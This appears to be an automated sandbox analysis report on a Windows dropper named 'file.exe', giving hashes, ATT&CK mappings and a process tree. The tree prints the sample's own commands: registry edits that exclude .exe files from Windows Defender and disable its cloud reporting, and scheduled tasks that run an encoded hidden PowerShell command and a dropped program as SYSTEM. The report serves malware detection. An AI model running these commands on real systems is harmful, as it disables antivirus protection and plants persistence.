da2f00084624a3a86c88bdaa856548709baa5843916d8c9781d3f68a0070ba19

Analysis

max time kernel
113s
max time network
138s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
11/10/2022, 22:02

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General

Target

file.exe
Size

7.3MB
MD5

0a67e5994e4ba1e3bc213cd3d9e036d1
SHA1

8c9d757d853136824faac683d6aafdbd67b03dc6
SHA256

da2f00084624a3a86c88bdaa856548709baa5843916d8c9781d3f68a0070ba19
SHA512

35a7131091dbceea1683d416cbb67585d4576ff81092b39adf1588e0953f2fcd6e108509e066f8ed765b4bb504be9bb60b07f5254e3baaf20089c2b3d78f2282
SSDEEP

196608:91O+zXFS3RnVAAMNMK+KoNdbb8HAd2PGg:3O+woAMNmP8Htz

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1384	Install.exe
1140	Install.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Loads dropped DLL 8 IoCs

pid	Process
1240	file.exe
1384	Install.exe
1384	Install.exe
1384	Install.exe
1384	Install.exe
1140	Install.exe
1140	Install.exe
1140	Install.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bKwcWZekAnYWEgmozo.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
392	schtasks.exe
1224	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
540	powershell.EXE
540	powershell.EXE
540	powershell.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	540	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1240 wrote to memory of 1384	1240	file.exe	27
PID 1240 wrote to memory of 1384	1240	file.exe	27
PID 1240 wrote to memory of 1384	1240	file.exe	27
PID 1240 wrote to memory of 1384	1240	file.exe	27
PID 1240 wrote to memory of 1384	1240	file.exe	27
PID 1240 wrote to memory of 1384	1240	file.exe	27
PID 1240 wrote to memory of 1384	1240	file.exe	27
PID 1384 wrote to memory of 1140	1384	Install.exe	28
PID 1384 wrote to memory of 1140	1384	Install.exe	28
PID 1384 wrote to memory of 1140	1384	Install.exe	28
PID 1384 wrote to memory of 1140	1384	Install.exe	28
PID 1384 wrote to memory of 1140	1384	Install.exe	28
PID 1384 wrote to memory of 1140	1384	Install.exe	28
PID 1384 wrote to memory of 1140	1384	Install.exe	28
PID 1140 wrote to memory of 272	1140	Install.exe	30
PID 1140 wrote to memory of 272	1140	Install.exe	30
PID 1140 wrote to memory of 272	1140	Install.exe	30
PID 1140 wrote to memory of 272	1140	Install.exe	30
PID 1140 wrote to memory of 272	1140	Install.exe	30
PID 1140 wrote to memory of 272	1140	Install.exe	30
PID 1140 wrote to memory of 272	1140	Install.exe	30
PID 1140 wrote to memory of 1032	1140	Install.exe	32
PID 1140 wrote to memory of 1032	1140	Install.exe	32
PID 1140 wrote to memory of 1032	1140	Install.exe	32
PID 1140 wrote to memory of 1032	1140	Install.exe	32
PID 1140 wrote to memory of 1032	1140	Install.exe	32
PID 1140 wrote to memory of 1032	1140	Install.exe	32
PID 1140 wrote to memory of 1032	1140	Install.exe	32
PID 272 wrote to memory of 856	272	forfiles.exe	33
PID 272 wrote to memory of 856	272	forfiles.exe	33
PID 272 wrote to memory of 856	272	forfiles.exe	33
PID 272 wrote to memory of 856	272	forfiles.exe	33
PID 272 wrote to memory of 856	272	forfiles.exe	33
PID 272 wrote to memory of 856	272	forfiles.exe	33
PID 272 wrote to memory of 856	272	forfiles.exe	33
PID 1032 wrote to memory of 1168	1032	forfiles.exe	35
PID 1032 wrote to memory of 1168	1032	forfiles.exe	35
PID 1032 wrote to memory of 1168	1032	forfiles.exe	35
PID 1032 wrote to memory of 1168	1032	forfiles.exe	35
PID 1032 wrote to memory of 1168	1032	forfiles.exe	35
PID 1032 wrote to memory of 1168	1032	forfiles.exe	35
PID 1032 wrote to memory of 1168	1032	forfiles.exe	35
PID 856 wrote to memory of 1956	856	cmd.exe	37
PID 856 wrote to memory of 1956	856	cmd.exe	37
PID 856 wrote to memory of 1956	856	cmd.exe	37
PID 856 wrote to memory of 1956	856	cmd.exe	37
PID 856 wrote to memory of 1956	856	cmd.exe	37
PID 856 wrote to memory of 1956	856	cmd.exe	37
PID 856 wrote to memory of 1956	856	cmd.exe	37
PID 1168 wrote to memory of 1744	1168	cmd.exe	36
PID 1168 wrote to memory of 1744	1168	cmd.exe	36
PID 1168 wrote to memory of 1744	1168	cmd.exe	36
PID 1168 wrote to memory of 1744	1168	cmd.exe	36
PID 1168 wrote to memory of 1744	1168	cmd.exe	36
PID 1168 wrote to memory of 1744	1168	cmd.exe	36
PID 1168 wrote to memory of 1744	1168	cmd.exe	36
PID 1168 wrote to memory of 1176	1168	cmd.exe	38
PID 1168 wrote to memory of 1176	1168	cmd.exe	38
PID 1168 wrote to memory of 1176	1168	cmd.exe	38
PID 1168 wrote to memory of 1176	1168	cmd.exe	38
PID 1168 wrote to memory of 1176	1168	cmd.exe	38
PID 1168 wrote to memory of 1176	1168	cmd.exe	38
PID 1168 wrote to memory of 1176	1168	cmd.exe	38
PID 856 wrote to memory of 1752	856	cmd.exe	39

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1240
- C:\Users\Admin\AppData\Local\Temp\7zS8E0D.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1384
- - C:\Users\Admin\AppData\Local\Temp\7zS935B.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:1140
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:272
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:856
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:1956
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:1752
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1032
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1168
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:1744
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:1176
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gTDbjkyfN" /SC once /ST 00:02:01 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:392
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gTDbjkyfN"
      4⤵
      PID:2012
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gTDbjkyfN"
      4⤵
      PID:1412
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bKwcWZekAnYWEgmozo" /SC once /ST 00:05:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu\mXQpfNlKnkevdXC\XFqLRTd.exe\" q8 /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:1224

C:\Windows\system32\taskeng.exe
taskeng.exe {D96ED97A-3B9B-4865-97E9-8D6B8DAFA6AC} S-1-5-21-3845472200-3839195424-595303356-1000:ZERMMMDR\Admin:Interactive:[1]
1⤵
PID:1076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:540
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1980

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1620

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\7zS8E0D.tmp\Install.exe

Filesize
6.3MB

MD5
d2c5c8905f5189ef3d39887e98ed492e

SHA1
91b5fa3f9d63bd51ca31084b1faf6af3e23511ce

SHA256
0cb7987d8f5b9907b72fa7abe757b7778e3e2fd699aaeb52e04bd761f854065a

SHA512
f28f7350bf69c6fe6d0df2fbdf515cb6377f46a5f04d0d4ec15391dddd68e5f8867d10799c7fbb01fa1043b62ebe21a9979121172103c3c7b1792f3c549c34b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS8E0D.tmp\Install.exe

Filesize
6.3MB

MD5
d2c5c8905f5189ef3d39887e98ed492e

SHA1
91b5fa3f9d63bd51ca31084b1faf6af3e23511ce

SHA256
0cb7987d8f5b9907b72fa7abe757b7778e3e2fd699aaeb52e04bd761f854065a

SHA512
f28f7350bf69c6fe6d0df2fbdf515cb6377f46a5f04d0d4ec15391dddd68e5f8867d10799c7fbb01fa1043b62ebe21a9979121172103c3c7b1792f3c549c34b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS935B.tmp\Install.exe

Filesize
6.8MB

MD5
6cb87a9fc7dc1f2a5410fd428f5460f0

SHA1
2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

SHA256
fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

SHA512
4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS935B.tmp\Install.exe

Filesize
6.8MB

MD5
6cb87a9fc7dc1f2a5410fd428f5460f0

SHA1
2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

SHA256
fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

SHA512
4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

Download Submit
\Users\Admin\AppData\Local\Temp\7zS8E0D.tmp\Install.exe

Filesize
6.3MB

MD5
d2c5c8905f5189ef3d39887e98ed492e

SHA1
91b5fa3f9d63bd51ca31084b1faf6af3e23511ce

SHA256
0cb7987d8f5b9907b72fa7abe757b7778e3e2fd699aaeb52e04bd761f854065a

SHA512
f28f7350bf69c6fe6d0df2fbdf515cb6377f46a5f04d0d4ec15391dddd68e5f8867d10799c7fbb01fa1043b62ebe21a9979121172103c3c7b1792f3c549c34b5

Download Submit
\Users\Admin\AppData\Local\Temp\7zS8E0D.tmp\Install.exe

Filesize
6.3MB

MD5
d2c5c8905f5189ef3d39887e98ed492e

SHA1
91b5fa3f9d63bd51ca31084b1faf6af3e23511ce

SHA256
0cb7987d8f5b9907b72fa7abe757b7778e3e2fd699aaeb52e04bd761f854065a

SHA512
f28f7350bf69c6fe6d0df2fbdf515cb6377f46a5f04d0d4ec15391dddd68e5f8867d10799c7fbb01fa1043b62ebe21a9979121172103c3c7b1792f3c549c34b5

Download Submit
\Users\Admin\AppData\Local\Temp\7zS8E0D.tmp\Install.exe

Filesize
6.3MB

MD5
d2c5c8905f5189ef3d39887e98ed492e

SHA1
91b5fa3f9d63bd51ca31084b1faf6af3e23511ce

SHA256
0cb7987d8f5b9907b72fa7abe757b7778e3e2fd699aaeb52e04bd761f854065a

SHA512
f28f7350bf69c6fe6d0df2fbdf515cb6377f46a5f04d0d4ec15391dddd68e5f8867d10799c7fbb01fa1043b62ebe21a9979121172103c3c7b1792f3c549c34b5

Download Submit
\Users\Admin\AppData\Local\Temp\7zS8E0D.tmp\Install.exe

Filesize
6.3MB

MD5
d2c5c8905f5189ef3d39887e98ed492e

SHA1
91b5fa3f9d63bd51ca31084b1faf6af3e23511ce

SHA256
0cb7987d8f5b9907b72fa7abe757b7778e3e2fd699aaeb52e04bd761f854065a

SHA512
f28f7350bf69c6fe6d0df2fbdf515cb6377f46a5f04d0d4ec15391dddd68e5f8867d10799c7fbb01fa1043b62ebe21a9979121172103c3c7b1792f3c549c34b5

Download Submit
\Users\Admin\AppData\Local\Temp\7zS935B.tmp\Install.exe

Filesize
6.8MB

MD5
6cb87a9fc7dc1f2a5410fd428f5460f0

SHA1
2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

SHA256
fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

SHA512
4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

Download Submit
\Users\Admin\AppData\Local\Temp\7zS935B.tmp\Install.exe

Filesize
6.8MB

MD5
6cb87a9fc7dc1f2a5410fd428f5460f0

SHA1
2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

SHA256
fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

SHA512
4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

Download Submit
\Users\Admin\AppData\Local\Temp\7zS935B.tmp\Install.exe

Filesize
6.8MB

MD5
6cb87a9fc7dc1f2a5410fd428f5460f0

SHA1
2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

SHA256
fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

SHA512
4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

Download Submit
\Users\Admin\AppData\Local\Temp\7zS935B.tmp\Install.exe

Filesize
6.8MB

MD5
6cb87a9fc7dc1f2a5410fd428f5460f0

SHA1
2885b2d28a333d7bd9d6488ba2bf7312fc811e3a

SHA256
fa622e0a4d023232f16015c8af2f464933217ab600d91ccdaf0099db232c8b52

SHA512
4c266dee0538259df0a2f9625abaf410c587e63d10269f9547820582b5758201a5371f705f0cbd65e72348c2276cd8c6b393c49efa095cd47b718ff029733269

Download Submit
memory/540-95-0x000007FEFB6D1000-0x000007FEFB6D3000-memory.dmp

Filesize
8KB

Download
memory/540-96-0x000007FEF3E90000-0x000007FEF48B3000-memory.dmp

Filesize
10.1MB

Download
memory/540-101-0x0000000002694000-0x0000000002697000-memory.dmp

Filesize
12KB

Download
memory/540-98-0x000000001B750000-0x000000001BA4F000-memory.dmp

Filesize
3.0MB

Download
memory/540-102-0x000000000269B000-0x00000000026BA000-memory.dmp

Filesize
124KB

Download
memory/540-99-0x0000000002694000-0x0000000002697000-memory.dmp

Filesize
12KB

Download
memory/540-97-0x000007FEF3270000-0x000007FEF3DCD000-memory.dmp

Filesize
11.4MB

Download
memory/1140-71-0x0000000010000000-0x0000000010B5D000-memory.dmp

Filesize
11.4MB

Download
memory/1240-54-0x0000000074AB1000-0x0000000074AB3000-memory.dmp

Filesize
8KB

Download